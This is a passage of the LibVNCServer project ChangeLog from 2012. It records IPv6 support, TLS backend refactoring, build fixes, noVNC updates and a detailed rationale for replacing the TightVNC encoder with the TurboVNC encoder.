webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
webclients/novnc/vnc_auto.html: Update noVNC webclient.
2012-08-19 Christian Beier <>
2012-08-08 Oliver Loch <>
* libvncserver/sockets.c: Patched sockets.c to allow the use of IPv6
without IPv4. As requested only those lines are indented that have been changed.
2012-07-20 Johannes Schindelin <>
* AUTHORS: Add another contributor Signed-off-by: Johannes Schindelin <>
2012-07-19 Rostislav Lisovy <>
* libvncclient/tls_openssl.c: Fix in milliseconds to struct timeval
conversion Signed-off-by: Rostislav Lisovy <> Signed-off-by:
Johannes Schindelin <>
2012-05-31 Christian Beier <>
* libvncserver/config.h, libvncserver/rfbconfig.h: Remove
autogenerated files from repo.
2012-05-23 Christian Beier <>
* CMakeLists.txt,, rfb/rfbconfig.h.cmake: Add Compile
Time Version Test Defines.
2012-05-18 Kyle J. McKay <>
* libvncserver/sockets.c: libvncserver/sockets.c: do not segfault
when listenSock/listen6Sock == -1
2012-05-09 Christian Beier <>
* TODO, libvncclient/rfbproto.c, libvncclient/sockets.c,
vncterm/LinuxVNC.c: Fix some compiler warnings that hinted some no
too unimportant errors.
2012-05-07 Christian Beier <>
* TODO: Update TODO.
2012-05-07 Luca Falavigna <>
* test/encodingstest.c: Encodingstest: Use format string argument
with fprintf.
2012-05-05 Christian Beier <>
* CMakeLists.txt, Bump version to 0.9.10.
2012-05-04 Christian Beier <>
* ChangeLog: Update ChangeLog for 0.9.9.
2012-05-04 Christian Beier <>
* Enable building DLLs with MinGW32.
2012-05-04 Christian Beier <>
* NEWS: Update NEWS for 0.9.9.
2012-05-03 Christian Beier <>
* libvncclient/rfbproto.c: LibVNCClient: #undef these types in case
it's WIN32. The various other headers include windows.h and the winsock headers
which give an error when SOCKET and socklen_t are already defined.
2012-05-03 Christian Beier <>
* rfb/rfb.h: LibVNCServer: Include ws2tcpip.h if it's available. Needed for the IPv6 stuff.
2012-04-30 Christian Beier <>
* libvncserver/ LibVNCServer: Prefer GnuTLS over OpenSSL
to be in sync with LibVNCClient.
2012-04-30 Christian Beier <>
* libvncserver/rfbserver.c: Some more libjpeg, libpng and zlib
related build fixes.
2012-04-30 Christian Beier <>
* Make PKG_CHECK_MODULES fail non-fatal. These check for optional modules.
2012-04-30 Christian Beier <>
* libvncserver/rfbserver.c, rfb/rfb.h: Only try to build TightPNG
stuff when libjpeg is available. TightPNG replaces the ZLIB stuff int Tight encoding with PNG. It
still uses JPEG rects as well. Theoretically, we could build
TightPNG with only libpng and libjpeg - without zlib - but libpng
depends on zlib, so this is kinda moot.
2012-04-27 Christian Beier <>
* test/ Only build libjpeg test programs if libjpeg is
actually available.
2012-04-26 Christian Beier <>
* CMakeLists.txt: Fix CMake build of LibVNCClient.
2012-04-26 Christian Beier <>
* libvncserver/rfbserver.c: Properly check return value. This also fixes a compiler warning.
2012-04-26 Christian Beier <>
* Fix build when no libjpeg is available.
2012-04-26 Christian Beier <>
* examples/android/, libvncserver/ Include
some more missing files for make dist.
2012-04-25 Christian Beier <>
* libvncserver/ Include missing files for make dist.
2012-04-25 Christian Beier <>
* libvncclient/ Fix libvncclient make dist.
2012-04-25 Christian Beier <>
* Better check for Linux build.
2012-04-25 Christian Beier <>
* vncterm/ Binaries that are to be installed should be
all lowercase.
2012-04-25 Christian Beier <>
* CMakeLists.txt, Bump version to 0.9.9.
2012-04-25 Christian Beier <>
* common/turbojpeg.c, libvncserver/rfbserver.c,
libvncserver/websockets.c, test/tjbench.c: Fix some compiler
warnings thrown with newer gcc.
2012-04-25 Christian Beier <>
* test/ Fix turbojpeg tests compilation.
2012-04-25 DRC <>
* common/turbojpeg.c: Fix compilation with some libjpeg
2012-04-22 Monkey <>
* libvncclient/rfbproto.c: Added support for UltraVNC Single Click
as originally proposed by Noobius (Boobius) on 6/1/11. Original thread:
2012-04-15 Christian Beier <>
* AUTHORS: Add Philip to AUTHORS.
2012-04-15 Christian Beier <>
* libvncclient/tls_none.c: LibVNCClient: Fix build with no SSL/TLS
library available.
2012-04-15 Christian Beier <>
* libvncclient/tls_openssl.c: LibVNCClient: properly free the
openssl session stuff on shutdown.
2012-04-15 Christian Beier <>
* libvncclient/rfbproto.c, libvncclient/sockets.c,
libvncclient/tls_gnutls.c, libvncclient/vncviewer.c,
rfb/rfbclient.h: LibVNCClient: Remove all those WITH_CLIENT_TLS
#ifdefs and move GnuTLS specific functionality into tls_gnutls.c.
2012-04-14 Christian Beier <>
* Unify GnuTLS vs OpenSSL build systems stuff between
libvncclient and libvncserver.
2012-04-14 Christian Beier <>
* libvncclient/, libvncclient/tls.c,
libvncclient/tls_gnutls.c, libvncclient/tls_none.c,
libvncclient/tls_openssl.c: Add the OpenSSL libvncclient TLS version
to the build system.
2012-04-12 Christian Beier <>
* webclients/novnc/LICENSE.txt, webclients/novnc/,
webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
webclients/novnc/include/util.js, webclients/novnc/include/vnc.js,
webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
webclients/novnc/vnc_auto.html: Update our copy of noVNC. Bugfixes and support for tight encoding with zlib.
2012-04-12 Christian Beier <>
* libvncserver/tight.c: Make TurboVNC compress level 3 actually
2012-04-09 DRC <>
* common/turbojpeg.c: Fix memory leak in TurboVNC Note that the memory leak was only occurring with the colorspace
emulation code, which is only active when using regular libjpeg (not
libjpeg-turbo.) Diagnosed by Christian Beier, using valgrind. Signed-off-by: Johannes Schindelin <>
2012-04-02 Christian Beier <>
* libvncclient/listen.c, libvncclient/sockets.c,
libvncserver/httpd.c, libvncserver/sockets.c: IPv6 support for
LibVNCServer, part four: add copyright notices to files with
non-trivial changes.
2012-03-29 Johannes Schindelin <>
* client_examples/SDLvncviewer.c: SDLvncviewer: map Apple/Windows
keys correctly Signed-off-by: Johannes Schindelin <>
2012-03-29 Johannes Schindelin <>
* .gitignore: gitignore the compiled gtkvncclient Signed-off-by: Johannes Schindelin <>
2012-03-29 Johannes Schindelin <>
* client_examples/SDLvncviewer.c: SDLvncviewer: fix the SDL_KEYUP
issue Keys got stuck because unicode is 0 upon SDL_KEYUP events, even if
the same key event sets unicode correctly in SDL_KEYDOWN events. Work around that for the common case (ASCII) using the fact that
both SDL and X11 keysyms were created with ASCII compatibility in
mind. So as long as we type ASCII symbols, we can map things
trivially. Signed-off-by: Johannes Schindelin <>
2012-03-23 DRC <>
* CMakeLists.txt: Extend support for the new TurboVNC encoder to the
CMake build system
2012-03-25 DRC <>
* common/turbojpeg.c, common/turbojpeg.h,,
libvncserver/, libvncserver/rfbserver.c,
libvncserver/tight.c, libvncserver/turbo.c, rfb/rfb.h,
rfb/rfbproto.h, test/, test/bmp.c, test/bmp.h,
test/tjbench.c, test/tjunittest.c, test/tjutil.c, test/tjutil.h:
Replace TightVNC encoder with TurboVNC encoder. This patch is the
result of further research and discussion that revealed the
following: -- TightPng encoding and the rfbTightNoZlib extension need not
conflict. Since TightPng is a separate encoding type, not supported
by TurboVNC-compatible viewers, then the rfbTightNoZlib extension
can be used solely whenever the encoding type is Tight and disabled
with the encoding type is TightPng. -- In the TightVNC encoder, compression levels above 5 are basically
useless. On the set of 20 low-level datasets that were used to
design the TurboVNC encoder (these include the eight 2D application
captures that were also used when designing the TightVNC encoder, as
well as 12 3D application captures provided by the VirtualGL
Project-- see,
moving from Compression Level (CL) 5 to CL 9 in the TightVNC
encoder did not increase the compression ratio of any datasets more
than 10%, and the compression ratio only increased by more than 5%
on four of them. The compression ratio actually decreased a few
percent on five of them. In exchange for this paltry increase in
compression ratio, the CPU usage, on average, went up by a factor of
5. Thus, for all intents and purposes, TightVNC CL 5 provides the
"best useful compression" for that encoder. -- TurboVNC's best compression level (CL 2) compresses 3D and video
workloads significantly more "tightly" than TightVNC CL 5 (~70%
better, in the aggregate) but does not quite achieve the same level
of compression with 2D workloads (~20% worse, in the aggregate.)
This decrease in compression ratio may or may not be noticeable,
since many of the datasets it affects are not performance-critical
(such as the console output of a compilation, etc.) However, for
peace of mind, it was still desirable to have a mode that compressed
with equal "tightness" to TightVNC CL 5, since we proposed to
replace that encoder entirely. -- A new mode was discovered in the TurboVNC encoder that produces,
in the aggregate, similar compression ratios on 2D datasets as
TightVNC CL 5. That new mode involves using Zlib level 7 (the same
level used by TightVNC CL 5) but setting the "palette threshold" to
256, so that indexed color encoding is used whenever possible. This
mode reduces bandwidth only marginally (typically 10-20%) relative
to TurboVNC CL 2 on low-color workloads, in exchange for nearly
doubling CPU usage, and it does not benefit high-color workloads at
all (since those are usually encoded with JPEG.) However, it
provides a means of reproducing the same "tightness" as the TightVNC encoder on 2D workloads without sacrificing any compression for
3D/video workloads, and without using any more CPU time than
necessary. -- The TurboVNC encoder still performs as well or better than the
TightVNC encoder when plain libjpeg is used instead of
libjpeg-turbo. Specific notes follow: common/turbojpeg.c common/turbojpeg.h: Added code to emulate the
libjpeg-turbo colorspace extensions, so that the TurboJPEG wrapper
can be used with plain libjpeg as well. This required updating the
TurboJPEG wrapper to the latest code from libjpeg-turbo 1.2.0,
mainly because the TurboJPEG 1.2 API handles pixel formats in a much
cleaner way, which made the conversion code easier to write. It
also eases the maintenance to have the wrapper synced as much as
possible with the upstream code base (so I can merge any relevant
bug fixes that are discovered upstream.) The libvncserver version of
the TurboJPEG wrapper is a "lite" version, containing only the JPEG
compression/decompression code and not the lossless transform, YUV
encoding/decoding, and dynamic buffer allocation features from
TurboJPEG 1.2. Removed the --with-turbovnc option. configure still
checks for the presence of libjpeg-turbo, but only for the purposes
of printing a performance warning if it isn't available. rfb/rfb.h: Fix a bug introduced with the initial TurboVNC encoder
patch. We cannot use tightQualityLevel for the TurboVNC 1-100
quality level, because tightQualityLevel is also used by ZRLE.
Thus, a new parameter (turboQualityLevel) was created. rfb/rfbproto.h: Remove TurboVNC-specific #ifdefs and language libvncserver/rfbserver.c: Remove TurboVNC-specific #ifdefs. Fix
afore-mentioned tightQualityLevel bug. libvncserver/tight.c: Replaced the TightVNC encoder with the
TurboVNC encoder. Relative to the initial TurboVNC encoder patch,
this patch also: -- Adds TightPng support to the TurboVNC encoder --
Adds the afore-mentioned low-bandwidth mode, which is mapped
externally to Compression Level 9 test/*: Included TJUnitTest (a regression test for the TurboJPEG
wrapper) as well as TJBench (a benchmark for same.) These are
useful for ensuring that the wrapper still functions correctly and
performantly if it needs to be modified for whatever reason. Both
of these programs are derived from libjpeg-turbo 1.2.0. As with the
TurboJPEG wrapper, they do not contain the more advanced features of
TurboJPEG 1.2, such as YUV encoding/decoding and lossless
2012-03-15 Christian Beier <>
2012-03-15 Christian Beier <>
* rfb/rfb.h: Move tightsubsamplevel member to the end of rfbClient
struct. Try to not break ABI between releases. Even if the code gets ugly...
2012-03-10 DRC <>
* x11vnc/ Fix the build of x11vnc when an out-of-tree
build directory is used
2012-03-10 DRC <>
* libvncserver/rfbserver.c: Fix an issue that affects the existing
Tight encoder as well as the newly-implemented Turbo encoder. The issue is that, when using the current libvncserver source, it is
impossible to disable Tight JPEG encoding. The way Tight/Turbo
viewers disable JPEG encoding is by simply not sending the Tight
quality value, causing the server to use the default value of -1.
Thus, cl->tightQualityLevel has to be set to -1 prior to processing
the encodings message for this mechanism to work. Similarly, it is
not guaranteed that the compress level will be set in the encodings
message, so it is set to a default value prior to processing the
2012-03-10 DRC <>
* common/turbojpeg.c, common/turbojpeg.h,,
libvncserver/, libvncserver/rfbserver.c,
libvncserver/turbo.c, rfb/rfb.h, rfb/rfbproto.h: Add TurboVNC
encoding support. TurboVNC is a variant of TightVNC that uses the same client/server
protocol (RFB version 3.8t), and thus it is fully cross-compatible
with TightVNC and TigerVNC (with one exception, which is noted
below.) Both the TightVNC and TurboVNC encoders analyze each
rectangle, pick out regions of solid color to send separately, and
send the remaining subrectangles using mono, indexed color, JPEG, or
raw encoding, depending on the number of colors in the subrectangle.
However, TurboVNC uses a fundamentally different selection algorithm
to determine the appropriate subencoding to use for each
subrectangle. Thus, while it sends a protocol stream that can be
decoded by any TightVNC-compatible viewer, the mix of subencoding
types in this protocol stream will be different from those generated
by a TightVNC server. The research that led to TurboVNC is described in the following
report: In
summary: 20 RFB captures, representing "common" 2D and 3D
application workloads (the 3D workloads were run using VirtualGL),
were studied using the TightVNC encoder in isolation. Some of the
analysis features in the TightVNC encoder, such as smoothness
detection, were found to generate a lot of CPU usage with little or
no benefit in compression, so those features were disabled. JPEG
encoding was accelerated using libjpeg-turbo (which achieves a 2-4x
speedup over plain libjpeg on modern x86 or ARM processors.)
Finally, the "palette threshold" (minimum number of colors that the
subrectangle must have before it is compressed using JPEG or raw)
was adjusted to account for the fact that JPEG encoding is now quite
a bit faster (meaning that we can now use it more without a CPU
penalty.) TurboVNC has additional optimizations, such as the
ability to count colors and encode JPEG images directly from the
framebuffer without first translating the pixels into RGB. The
TurboVNC encoder compares quite favorably in terms of compression
ratio with TightVNC and generally encodes a great deal faster (often
an order of magnitude or more.) The version of the TurboVNC encoder included in this patch is
roughly equivalent to the one found in version 0.6 of the Unix
TurboVNC Server, with a few minor patches integrated from TurboVNC
1.1. TurboVNC 1.0 added multi-threading capabilities, which can be
added in later if desired (at the expense of making libvncserver
depend on libpthread.) Because TurboVNC uses a fundamentally different mix of subencodings
than TightVNC, because it uses the identical protocol (and thus a
viewer really has no idea whether it's talking to a TightVNC or
TurboVNC server), and because it doesn't support rfbTightPng (and in
fact conflicts with it-- see below), the TurboVNC and TightVNC
encoders cannot be enabled simultaneously. Compatibility: In *most* cases, a TurboVNC-enabled viewer is fully compatible with
a TightVNC server, and vice versa. TurboVNC supports
pseudo-encodings for specifying a fine-grained (1-100) quality scale
and specifying chrominance subsampling. If a TurboVNC viewer sends
those to a TightVNC server, then the TightVNC server ignores them,
so the TurboVNC viewer also sends the quality on a 0-9 scale that
the TightVNC server can understand. Similarly, the TurboVNC server
checks first for fine-grained quality and subsampling
pseudo-encodings from the viewer, and failing to receive those, it
then checks for the TightVNC 0-9 quality pseudo-encoding. There is one case in which the two systems are not compatible, and
that is when a TightVNC or TigerVNC viewer requests compression
level 0 without JPEG from a TurboVNC server. For performance
reasons, this causes the TurboVNC server to send images directly to
the viewer, bypassing Zlib. When the TurboVNC server does this, it
also sets bits 7-4 in the compression control byte to rfbTightNoZlib
(0x0A), which is unfortunately the same value as rfbTightPng. Older
TightVNC viewers that don't handle PNG will assume that the stream
is uncompressed but still encapsulated in a Zlib structure, whereas
newer PNG-supporting TightVNC viewers will assume that the stream is
PNG. In either case, the viewer will probably crash. Since most
VNC viewers don't expose compression level 0 in the GUI, this is a
relatively rare situation. Description of changes: -- Added support for libjpeg-turbo. If passed an
argument of --with-turbovnc, configure will now run (or, if cross-compiling, just link) a test program that determines
whether the libjpeg library being used is libjpeg-turbo.
libjpeg-turbo must be used when building the TurboVNC encoder,
because the TurboVNC encoder relies on the libjpeg-turbo
colorspace extensions in order to compress images directly out of